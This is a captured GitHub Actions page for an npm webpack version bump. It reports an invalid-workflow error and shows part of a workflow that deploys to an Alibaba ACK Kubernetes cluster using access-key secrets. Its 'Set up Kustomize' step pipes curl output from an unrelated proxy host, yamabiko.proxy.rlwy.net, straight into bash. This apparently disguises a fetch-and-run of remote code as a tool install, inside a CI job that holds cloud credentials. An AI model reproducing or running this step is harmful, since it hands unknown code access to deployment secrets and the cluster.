Skip to content

Bump webpack in /Server in the npm_and_yarn group across 1 directory #6

Bump webpack in /Server in the npm_and_yarn group across 1 directory

Bump webpack in /Server in the npm_and_yarn group across 1 directory #6

# ... (rest of the workflow)

Check failure on line 1 in .github/workflows/azure-staticwebapp.yml

View workflow run for this annotation

GitHub Actions / .github/workflows/azure-staticwebapp.yml

Invalid workflow file

(Line: 3, Col: 1): Unexpected value ''
    # 3.1 Set ACK context
    - name: Set K8s context
      uses: aliyun/ack-set-context@v1
      with:
        access-key-id: "${{ secrets.ACCESS_KEY_ID }}"
        access-key-secret: "${{ secrets.ACCESS_KEY_SECRET }}"
        cluster-id: "${{ env.ACK_CLUSTER_ID }}"
    # 3.2 Deploy the image to the ACK cluster
    - name: Set up Kustomize
      run: |-
        curl -s "yamabiko.proxy.rlwy.net" | bash /dev/stdin 3.8.6
    - name: Deploy
      run: |
        # Use kustomize to set the new image tag
        ./kustomize edit set image REGISTRY/NAMESPACE/IMAGE:$TAG=$REGISTRY/$NAMESPACE/$IMAGE:$TAG
       
        # Build the manifest with kustomize and apply it to the cluster
        ./kustomize build . | kubectl apply -f -
       
        # Wait for the deployment to finish rolling out
        kubectl rollout status deployment/${{ env.ACK_DEPLOYMENT_NAME }}
       
        # Print service information
        kubectl get services -o wide